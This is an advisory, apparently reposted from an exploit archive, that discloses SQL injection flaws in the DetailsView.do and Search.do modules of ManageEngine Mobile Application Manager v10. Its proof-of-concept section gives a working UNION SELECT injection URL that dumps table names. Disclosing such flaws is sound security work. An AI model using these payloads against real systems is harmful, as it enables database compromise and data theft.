ME Mobile Application Manager 10 SQL Injection

ME Mobile Application Manager v10 - SQL Vulnerabilities

Introduction:
=============
ManageEngine Mobile Applications Manager is a server and application performance monitoring software that helps businesses 
ensure high availability and performance for their business applications by ensuring servers and applications have 
high uptime. The application performance management capability includes server monitoring, application server 
monitoring, database monitoring, web services monitoring, virtualization monitoring, cloud monitoring and an array of 
other application management capability that will help IT administrators manage their resources effectively.

Note: The mobile version 10 is compatible with Blackberry, Iphone & Android smartphones with IE, Safari or Firefox browser.

(Copy of the Vendor Homepage: http://www.manageengine.com/products/applications_manager )

Details:
========
Multiple SQL Injection vulnerabilities  are detected  in Manage Engines Mobile Application Manager v10.
The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own sql commands 
on the affected application dbms without user inter action. The vulnerabilities are located in the DetailsView.do or Search.do 
module(s) and the bound vulnerable parameters showMGDetails&groupId & viewName. Successful exploitation of the vulnerabilities 
result in dbms & application compromise via sql injection attack. 

Vulnerable Module(s):
      [+] DetailsView.do
      [+] Search.do

Vulnerable Parameter(s):
      [+] showMGDetails&groupId
      [+] viewName


Proof of Concept:
=================
The sql injection vulnerabilities in the mobile manager application can be exploited by remote attackers without user inter action.
For demonstration or reproduce ...

PoC:
http://appmanager.127.0.0.1:1339/mobile/DetailsView.do?method=showMGDetails&groupId=10003645+UnION+
SelEct+group_concat(table_NAME),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.tables+
WHERE+table_schema=database()--%20-

http://appmanager.127.0.0.1:1339/mobile/Search.do?method=mobileSearch
&requestid=[SQL INJECTION]mobileSearchPage&viewName=Search


Risk:
=====
The security risk of the  sql injection vulnerabilities are estimated as high.



#  0day.today [2018-03-20]  #